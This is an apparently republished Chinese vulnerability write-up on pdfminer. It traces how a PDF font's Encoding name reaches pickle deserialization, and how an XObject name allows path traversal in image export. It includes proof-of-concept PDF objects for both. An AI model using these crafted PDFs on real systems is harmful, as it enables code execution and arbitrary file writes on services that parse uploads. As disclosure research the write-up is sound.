Pdfminer-Vulnerability-Research

news/2025/10/2 22:16:58/文章来源:https://www.cnblogs.com/L1nq/p/19124085

Pdfminer code auditing and script development
script path: https://github.com/L1nq0/Pdfminer-CMap-Generator

CMapDB Deserialization

cmapdb.py#CMapDB._load_data 调用 pickle.loads

_load_data 传入参数 name 去除空字节,并插入 %s.pickle.gz 中,然后将 cmap_paths 中路径与 filename 拼接;CMAP_PATH 为 cmap 的绝对路径如 /../site-packages/pdfminer/cmap,如果拼接后的文件真实存在,则用 gzip 模块读取并将内容交由 pickle.loads() 反序列化。
要求文件真实存在,文件名写死为 .pickle.gz 后缀且是正确的 gzip 文件体,才会反序列化

class CMapDB:_cmap_cache: Dict[str, PyCMap] = {}_umap_cache: Dict[str, List[PyUnicodeMap]] = {}class CMapNotFound(CMapError):pass@classmethoddef _load_data(cls, name: str) -> Any:name = name.replace("\0", "")filename = "%s.pickle.gz" % namelog.debug("loading: %r", name)cmap_paths = (os.environ.get("CMAP_PATH", "/usr/share/pdfminer/"),os.path.join(os.path.dirname(__file__), "cmap"),)for directory in cmap_paths:path = os.path.join(directory, filename)if os.path.exists(path):gzfile = gzip.open(path)gzfiles = gzfile.read()try:return type(str(name), (), pickle.loads(gzfile.read()))finally:gzfile.close()raise CMapDB.CMapNotFound(name)

上游调用路径分析

CMAP_PATH 与 /usr/share/pdfminer/ 基本不可控,无法往其路径写/传文件,要走进 pickle 必须 name 可控。
往前追踪,get_cmap(cls, name: str)方法从缓存中获取 CMap,如果缓存中没有,则调用 _load_data 来加载 cmap 数据

class CMapDB_cmap_cache: Dict[str, PyCMap] = {}@classmethoddef get_cmap(cls, name: str) -> CMapBase:if name == "Identity-H":return IdentityCMap(WMode=0)elif name == "Identity-V":return IdentityCMap(WMode=1)elif name == "OneByteIdentityH":return IdentityCMapByte(WMode=0)elif name == "OneByteIdentityV":return IdentityCMapByte(WMode=1)try:return cls._cmap_cache[name]except KeyError:passdata = cls._load_data(name)cls._cmap_cache[name] = cmap = PyCMap(name, data)return cmap

再往前,pdffont.py::PDFCIDFont.get_cmap_from_spec() 调用了 get_cmap

class PDFCIDFont(PDFFont):def get_cmap_from_spec(self, spec: Mapping[str, Any], strict: bool) -> CMapBase:"""Get cmap from font specificationFor certain PDFs, Encoding Type isn't mentioned as an attribute ofEncoding but as an attribute of CMapName, where CMapName is anattribute of spec['Encoding'].The horizontal/vertical modes are mentioned with different namesuch as 'DLIdent-H/V','OneByteIdentityH/V','Identity-H/V'."""cmap_name = self._get_cmap_name(spec, strict)try:return CMapDB.get_cmap(cmap_name)except CMapDB.CMapNotFound as e:if strict:raise PDFFontError(e)return CMap()

cmap_name 属性受 _get_cmap_name() 控制,进入该方法。spec 是一个字典对象,键是 str 类型,值的类型是任意的 Any;
get_cmap_from_spec 会从 spec 中提取 Encoding 键下的 cmap 名称。如果 Encoding 中包含 CMapName 键,则该键的值会作为 cmap 名称传递给 get_cmap 方法。

class PDFCIDFont(PDFFont):def _get_cmap_name(spec: Mapping[str, Any], strict: bool) -> str:"""Get cmap name from font specification"""cmap_name = "unknown"  # default valuetry:spec_encoding = spec["Encoding"]if hasattr(spec_encoding, "name"):cmap_name = literal_name(spec["Encoding"])else:cmap_name = literal_name(spec_encoding["CMapName"])except KeyError:if strict:raise PDFFontError("Encoding is unspecified")if type(cmap_name) is PDFStream:  # type: ignore[comparison-overlap]cmap_name_stream: PDFStream = cast(PDFStream, cmap_name)if "CMapName" in cmap_name_stream:cmap_name = cmap_name_stream.get("CMapName").nameelse:if strict:raise PDFFontError("CMapName unspecified for encoding")return IDENTITY_ENCODER.get(cmap_name, cmap_name)

此时参数传递从 spec['Encoding'] -> cmap_name -> name,如果 spec 可控则能影响 cmap 打开的文件名。
继续往上追踪,PDFCIDFont 类初始化时调用了 get_cmap_from_spec,__init__初始化定义了一些对象和属性,继续往上追 spec

在 pdfinterp.py::PDFResourceManager.get_font() 找到相关操作,subtype 被赋值为 spec['Subtype'],如果其是 CIDFontType0、CIDFontType2 任意之一,则实例化 PDFCIDFont。关键就在 spec,但其谁控制仍未知,抱着疑惑继续往前追

init_resources() 先赋值 resources 字典,如果值为 Font 且其内部键值属于 PDFObjRef 类或子类,便调用 pdftypes.dict_value(x: object) 将 'Font' 对象中的关键字段一一取出交给 spec,并传给 get_font(objid, spec)

class PDFPageInterpreter:def init_resources(self, resources: Dict[object, object]) -> None:self.resources = resourcesself.fontmap: Dict[object, PDFFont] = {}self.xobjmap = {}self.csmap: Dict[str, PDFColorSpace] = PREDEFINED_COLORSPACE.copy()if not resources:returndef get_colorspace(spec: object) -> Optional[PDFColorSpace]:if isinstance(spec, list):name = literal_name(spec[0])else:name = literal_name(spec)if name == "ICCBased" and isinstance(spec, list) and 2 <= len(spec):return PDFColorSpace(name, stream_value(spec[1])["N"])elif name == "DeviceN" and isinstance(spec, list) and 2 <= len(spec):return PDFColorSpace(name, len(list_value(spec[1])))else:return PREDEFINED_COLORSPACE.get(name)for (k, v) in dict_value(resources).items():log.debug("Resource: %r: %r", k, v)if k == "Font":for (fontid, spec) in dict_value(v).items():objid = Noneif isinstance(spec, PDFObjRef):objid = spec.objidspec = dict_value(spec)self.fontmap[fontid] = self.rsrcmgr.get_font(objid, spec)elif k == "ColorSpace":for (csid, spec) in dict_value(v).items():colorspace = get_colorspace(resolve1(spec))if colorspace is not None:self.csmap[csid] = colorspaceelif k == "ProcSet":self.rsrcmgr.get_procset(list_value(v))elif k == "XObject":for (xobjid, xobjstrm) in dict_value(v).items():self.xobjmap[xobjid] = xobjstrmreturn

process_page() 将 page.resources 丢给 render_contents() 执行,随后 resources 被传递给 init_resources(),这里的 resources 就是被 dict_value 处理的 Font 对象

class PDFPageInterpreter:def process_page(self, page: PDFPage) -> None:log.debug("Processing page: %r", page)(x0, y0, x1, y1) = page.mediaboxif page.rotate == 90:ctm = (0, -1, 1, 0, -y0, x1)elif page.rotate == 180:ctm = (-1, 0, 0, -1, x1, y1)elif page.rotate == 270:ctm = (0, 1, -1, 0, y1, -x0)else:ctm = (1, 0, 0, 1, -x0, -y0)self.device.begin_page(page, ctm)self.render_contents(page.resources, page.contents, ctm=ctm)self.device.end_page(page)returndef render_contents(self,resources: Dict[object, object],streams: Sequence[object],ctm: Matrix = MATRIX_IDENTITY,) -> None:log.debug("render_contents: resources=%r, streams=%r, ctm=%r", resources, streams, ctm)self.init_resources(resources)self.init_state(ctm)self.execute(list_value(streams))return

最后追到入口点,一共找到两个

  • high_level.py::extract_pages()
  • high_level.py::extract_text()
    这两个方法都用于从 PDF 文件中提取信息,本身就是 Pdfminer 与外部交互的主要入口,利用链到此到头
def extract_text(pdf_file: FileOrName,password: str = "",page_numbers: Optional[Container[int]] = None,maxpages: int = 0,caching: bool = True,codec: str = "utf-8",laparams: Optional[LAParams] = None,
) -> str:"""Parse and return the text contained in a PDF file.:param pdf_file: Either a file path or a file-like object for the PDF fileto be worked on.:param password: For encrypted PDFs, the password to decrypt.:param page_numbers: List of zero-indexed page numbers to extract.:param maxpages: The maximum number of pages to parse:param caching: If resources should be cached:param codec: Text decoding codec:param laparams: An LAParams object from pdfminer.layout. If None, usessome default settings that often work well.:return: a string containing all of the text extracted."""if laparams is None:laparams = LAParams()with open_filename(pdf_file, "rb") as fp, StringIO() as output_string:fp = cast(BinaryIO, fp)  # we opened in binary modersrcmgr = PDFResourceManager(caching=caching)device = TextConverter(rsrcmgr, output_string, codec=codec, laparams=laparams)interpreter = PDFPageInterpreter(rsrcmgr, device)for page in PDFPage.get_pages(fp,page_numbers,maxpages=maxpages,password=password,caching=caching,):interpreter.process_page(page)return output_string.getvalue()def extract_pages(pdf_file: FileOrName,password: str = "",page_numbers: Optional[Container[int]] = None,maxpages: int = 0,caching: bool = True,laparams: Optional[LAParams] = None,
) -> Iterator[LTPage]:"""Extract and yield LTPage objects:param pdf_file: Either a file path or a file-like object for the PDF fileto be worked on.:param password: For encrypted PDFs, the password to decrypt.:param page_numbers: List of zero-indexed page numbers to extract.:param maxpages: The maximum number of pages to parse:param caching: If resources should be cached:param laparams: An LAParams object from pdfminer.layout. If None, usessome default settings that often work well.:return: LTPage objects"""if laparams is None:laparams = LAParams()with open_filename(pdf_file, "rb") as fp:fp = cast(BinaryIO, fp)  # we opened in binary moderesource_manager = PDFResourceManager(caching=caching)device = PDFPageAggregator(resource_manager, laparams=laparams)interpreter = PDFPageInterpreter(resource_manager, device)for page in PDFPage.get_pages(fp,page_numbers,maxpages=maxpages,password=password,caching=caching,):interpreter.process_page(page)layout = device.get_result()yield layout

溯源整个流程,从 extract_ 双方法开始。PDFPage.get_pages() 会通过 PDFParser 解析 PDF 文件,并生成一个 PDFDocument 对象。这个对象包含了文档的结构和元数据。然后迭代文档中的每一页,并调用 create_pages(doc) 来生成具体的页面对象。然后提取的 PDF 元数据交给下游方法处理

class PDFPage:def get_pages(cls,fp: BinaryIO,pagenos: Optional[Container[int]] = None,maxpages: int = 0,password: str = "",caching: bool = True,check_extractable: bool = False,) -> Iterator["PDFPage"]:parser = PDFParser(fp)doc = PDFDocument(parser, password=password, caching=caching)if not doc.is_extractable:if check_extractable:error_msg = "Text extraction is not allowed: %r" % fpraise PDFTextExtractionNotAllowed(error_msg)else:warning_msg = ("The PDF %r contains a metadata field ""indicating that it should not allow ""text extraction. Ignoring this field ""and proceeding. Use the check_extractable ""if you want to raise an error in this case" % fp)log.warning(warning_msg)for pageno, page in enumerate(cls.create_pages(doc)):if pagenos and (pageno not in pagenos):continueyield pageif maxpages and maxpages <= pageno + 1:break

利用链

high_level.py::extract_pages()/extract_text()pdfinterp.py::PDFPageInterpreter.process_page(page)pdfinterp.py::PDFPageInterpreter.render_contents(resources, contents)pdfinterp.py::PDFPageInterpreter.init_resources(resources)pdfinterp.py::PDFResourceManager.get_font(objid, spec)pdffont.py::PDFCIDFont.__init__(rsrcmgr, spec, strict)pdffont.py::PDFCIDFont.get_cmap_from_spec(spec, strict)cmapdb.py::CMapDB.get_cmap(cmap_name)cmapdb.py::CMapDB._load_data(name)

将 PDF Font 对象关键字段定义好,Type = Type0、Subtype = CIDFontType0 or CIDFontType2、Encoding = GZIP 文件绝对路径,同时绝对路径中 /需要替换为 #2F,并使用 extract_pages()/extract_text() 操作 PDF 文件,Pdfminer 就会读取 GZIP 内容并反序列化
PDF 格式体利用示例

%PDF-1.4
%E2%E3%CF%D3
1 0 obj
<< /Type /Catalog /Pages 2 0 R >>
endobj2 0 obj
<< /Type /Pages /Count 1 /Kids [3 0 R] >>
endobj3 0 obj
<< /Type /Page /Parent 2 0 R /MediaBox [0 0 612 792] /Resources << /Font << /F1 5 0 R >> >> /Contents 4 0 R >>
endobj4 0 obj
<< /Length 22 >>
stream
BT /F1 12 Tf (A) Tj ET
endstream
endobj5 0 obj
<< /Type /Font /Subtype /Type0 /BaseFont /Identity-H /Encoding /app/uploads/l1 /DescendantFonts [6 0 R] >>
endobj6 0 obj
<< /Type /Font /Subtype /CIDFontType2 /BaseFont /Dummy /CIDSystemInfo << /Registry (Adobe) /Ordering (Identity) /Supplement 0 >> >>
endobjxref
0 7
0000000000 65535 f 
0000000010 00000 n 
0000000077 00000 n 
0000000176 00000 n 
0000000273 00000 n 
0000000325 00000 n 
0000000375 00000 n 
trailer
<< /Size 7 /Root 1 0 R >>
startxref
410
%%EOF

Path Traversal in ImageWriter

在看 Pdfminer 的图片提取与写入功能时发现的逻辑缺陷,虽然没软用简单扯一嘴
当使用 Pdfminer 提取 PDF 中的图片时,通常可以这样调用

for page in extract_pages(pdf_file):for element in page:if isinstance(element, LTFigure):for item in element:if isinstance(item, LTImage):result = writer.export_image(item)

Pdfminer 会将 PDF 中的图片保存到指定目录。但问题来了,保存时文件名经过怎样的处理呢?
通过阅读源码,我发现了关键的逻辑在ImageWriter.create_unique_image_name中:

def _create_unique_image_name(self, image: LTImage, ext: str) -> Tuple[str, str]:name = image.name + extpath = os.path.join(self.outdir, name)img_index = 0while os.path.exists(path):name = "%s.%d%s" % (image.name, img_index, ext)path = os.path.join(self.outdir, name)img_index += 1return name, path

_create_unique_image_name 在处理 PDF 文件中的图片资源时,直接使用了 XObject 的名称作为输出文件名的一部分,与输出路径 outdir 拼接形成新路径,没有做精细校验,与上面分析类似 PDF 可控则 image.name 可控
Pdfminer 解析并创建 LTImage 对象,其 name 属性赋值为指定路径,export_image 是操作入口

class ImageWriter:def export_image(self, image: LTImage) -> str:"""Save an LTImage to disk"""(width, height) = image.srcsizefilters = image.stream.get_filters()if filters[-1][0] in LITERALS_DCT_DECODE:name = self._save_jpeg(image)elif filters[-1][0] in LITERALS_JPX_DECODE:name = self._save_jpeg2000(image)elif self._is_jbig2_iamge(image):name = self._save_jbig2(image)elif image.bits == 1:name = self._save_bmp(image, width, height, (width + 7) // 8, image.bits)elif image.bits == 8 and (LITERAL_DEVICE_RGB in image.colorspaceor LITERAL_INLINE_DEVICE_RGB in image.colorspace):name = self._save_bmp(image, width, height, width * 3, image.bits * 3)elif image.bits == 8 and (LITERAL_DEVICE_GRAY in image.colorspaceor LITERAL_INLINE_DEVICE_GRAY in image.colorspace):name = self._save_bmp(image, width, height, width, image.bits)elif len(filters) == 1 and filters[0][0] in LITERALS_FLATE_DECODE:name = self._save_bytes(image)else:name = self._save_raw(image)return name

获取到文件名及路径后,Pdfminer 直接用 path 路径将写入文件 fp.write,假设 path 为 /x/x/uploads/../../../tmp/l1.jpg,就能进行跨目录写文件

def _save_jpeg(self, image: LTImage) -> str:"""Save a JPEG encoded image"""data = image.stream.get_data()name, path = self._create_unique_image_name(image, ".jpg")with open(path, "wb") as fp:if LITERAL_DEVICE_CMYK in image.colorspace:try:from PIL import Image, ImageChops  # type: ignore[import]except ImportError:raise ImportError(PIL_ERROR_MESSAGE)ifp = BytesIO(data)i = Image.open(ifp)i = ImageChops.invert(i)i = i.convert("RGB")i.save(fp, "JPEG")else:fp.write(data)return name

如果控制 PDF 内的 XObject 名称,是否就可控写入?我构造一个恶意 PDF 来完成构想

3 0 obj
<< /Type /Page /Resources << /XObject << /#2E#2E#2F#2E#2E#2F#2E#2E#2F#2E#2E#2Ftmp#2Fpwned 4 0 R >> >> 
>>
...

path 成功控制为指定内容

便写入成功了

Python 的环境限制大,不像 PHP 可以直接解析执行代码,应用环境特别狭窄,只有某些情况下打 XSS 等,没危害;并且这里后缀名也是强制拼接,无法控制

name, path = self._create_unique_image_name(image, ".jpg")=>def _create_unique_image_name(self, image: LTImage, ext: str) -> Tuple[str, str]:name = image.name + extpath = os.path.join(self.outdir, name)img_index = 0while os.path.exists(path):name = "%s.%d%s" % (image.name, img_index, ext)path = os.path.join(self.outdir, name)img_index += 1return name, path...@staticmethoddef _is_jbig2_iamge(image: LTImage) -> bool:filters = image.stream.get_filters()for filter_name, params in filters:if filter_name in LITERALS_JBIG2_DECODE:return Truereturn False

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/925352.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

从事网站建泰安网站建设公司带

目录 一、界面演示 二、设备列表 三、抖动单元格 四、设备模型 五、设备编辑 本项目的交流QQ群:701889554 物联网实战--入门篇https://blog.csdn.net/ypp240124016/category_12609773.html 物联网实战--驱动篇https://blog.csdn.net/ypp240124016/category_12631333.htm…

营口工程建设信息网站wordpress frame

二进制是一种数制&#xff0c;也称为基数为2的数制。在二进制系统中&#xff0c;数值使用0和1这两个数字来表示。每一位二进制数字称为一个比特&#xff08;bit&#xff09;&#xff0c;是计算机中最基本的信息单位。多个比特组合在一起可以表示更大的数值或数据。 在计算机科…

10.2笔记

HBase 数据库 架构理解: HMaster:管理 RegionServer 的负载均衡、Region 分配等。 RegionServer:负责数据的读写操作,管理多个 Region。 ZooKeeper:协调集群状态,监控 RegionServer 存活。 HDFS:底层存储,HBas…

阜阳网站制作公司去哪找可信赖的广州做网站

前言&#xff1a;在最近学习 Vue.js 的时候&#xff0c;看到国外一篇讲述了如何使用 Vue.js 和 Vuex 来构建一个简单笔记的单页应用的文章。感觉收获挺多&#xff0c;自己在它的例子的基础上进行了一些优化和自定义功能&#xff0c;在这里和大家分享下学习心得。 在这篇教程中我…

北京国互网网站建设报价wordpress 判断手机

&#x1f600;前言 中文乱码处理 &#x1f3e0;个人主页&#xff1a;尘觉主页 &#x1f9d1;个人简介&#xff1a;大家好&#xff0c;我是尘觉&#xff0c;希望我的文章可以帮助到大家&#xff0c;您的满意是我的动力&#x1f609;&#x1f609; 在csdn获奖荣誉: &#x1f3c…

网站可以随便创建么北京网站设计与制作公司

最近由于需要来学习一下pymysql。 先来认识一下pymysql&#xff1a; PyMySQL 是 Python 中一个用于连接 MySQL 数据库的库。它允许 Python 程序通过简单的 API 调用来连接、操作和管理 MySQL 数据库。PyMySQL 是在 Python 中使用纯 Python 编写的&#xff0c;因此它可以在几…

Shell / Bash 学习

一、Shell / Bash 快速 Cheat Sheet(速查手册) 以下摘自 Devhints、LinuxConfig 和 Red Hat 的优秀 Bash cheat sheet 集合:Devhints – Bash Scripting Cheatsheet (Devhints.io cheatsheets) LinuxConfig Bash Sc…

【Linux 架构探幽:从入门到内核・系统编程开篇】基础指令与权限精讲,筑牢框架制作根基

【Linux 架构探幽:从入门到内核・系统编程开篇】基础指令与权限精讲,筑牢框架制作根基pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important…

chisel,spatial和spinalhdl的比较

chisel,spatial和spinalhdl的比较从外表上看,spinalhdl可能要更简明易用一些。 chisel和spatial有强大的生成功能,但是魔术更多一些。 其中chisel在生成的过程中,容易丢失一些信息,需要人为补强。 而spatial则高度…

东方市住房和城乡建设局网站沈阳网站建设的价格

Splunk 是搜索、监控和分析机器生成大数据的软件领先提供商&#xff0c;为其旗舰产品 Splunk Enterprise 发布了紧急安全更新。 这些更新解决了几个构成重大安全风险的关键漏洞&#xff0c;包括远程代码执行 (RCE) 的可能性。 受影响的版本包括 * 9.0.x、9.1.x 和 9.2.x&…

网站优化怎么做关键词排名建德网页制作公司

列宽固定居中的设置的时候&#xff0c;我们通常使用 p{宽度} 来指定固定的列宽&#xff0c;这时单元格会自动换行&#xff0c;换行之后是左对齐的&#xff0c;如何获得居中对齐呢&#xff1f;\begin{tabular}{|p{54pt}l|p{71pt}c|p{71pt}c|}\hline Method& Train set&T…

使用 Dart 进行验证码识别

Dart 是 Google 推出的编程语言,通常用于构建移动应用(如使用 Flutter),但它也能处理服务器端任务。通过使用 tesseract 的 Dart 包,我们可以轻松实现验证码的识别。 更多内容访问ttocr.com或联系1436423940安装 …

用 Rust 进行验证码识别

Rust 本身并没有直接的 OCR 库,但我们可以通过调用 Tesseract OCR 库来实现验证码识别。下面是具体的步骤。 更多内容访问ttocr.com或联系1436423940安装 Rust首先,确保你的系统已经安装了 Rust。如果没有,请通过以…

国庆集训Day1

国庆集训Day1T1 ddl思路 根据题意模拟 解法 分别计算取\(l\),\(r\)时的总时间,与\(L\)比较 若无法全部完成,则\(sort\)一遍,从小到大选 归纳总结解题策略 模拟 结果 100pts 时间分配 10minT2 fold思路 根据题意模拟…

ChIPBase network菜单 生成tf的excel ,用于构建 TF → mRNA(即 CDKN3)调控关系的详细过程和教程 - 实践

ChIPBase network菜单 生成tf的excel ,用于构建 TF → mRNA(即 CDKN3)调控关系的详细过程和教程 - 实践pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display:…

网站模板如何删除中国建筑装饰

数据库中统计信息描述的数据库中表和索引的大小数以及数据分布状况&#xff0c;统计信息的准确性对优化器选择执行计划时具有重要的参考意义。本文简要整理了下传统数据库和国产数据库中统计信息的自动更新机制&#xff0c;以加深了解。 1、数据库统计信息介绍 优化器是数据库…

绵阳做seo网站公司受欢迎的网站建设案例

under the moon和いじわる my master里面提到过&#xff0c;青蔷薇是一种只能在魔界盛开的花&#xff0c;花语是&#xff1a;不可能。青蔷薇姬的故事是&#xff1a;我不要你的珠宝&#xff0c;只要你的真心。[separator][quote]11月1日闭幕的东京国际花卉博览会上&#xff0c;全…

实用指南:机器学习:线性回归

pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "Monaco", "Courier New", …

网站建设目的和意义手机版网页开发者工具

S01E02列表 列表是什么列表的操作修改、添加和删除元素列表排序列表倒序列表长度遍历整个列表 数值列表创建数值列表数值列表简单统计计算列表推导式 列表切片复制列表 列表是什么 在Python中&#xff0c;用方括号&#xff08;[ ]&#xff09;表示列表&#xff0c;用逗号分隔其…

企业网站后台管理模板投资理财网站建设规划书

在Verilog仿真时如果需要调用某子模块中的信号在本模块中使用可以使用层次化引用的方法&#xff0c;而不需要在rtl部分用端口引出来。 引用方式&#xff1a;当前例化模块名.子例化模块名.子子例化模块名.参数 将需要的信号引出。 注意是用例化模块名而不是用子模块名&#xff…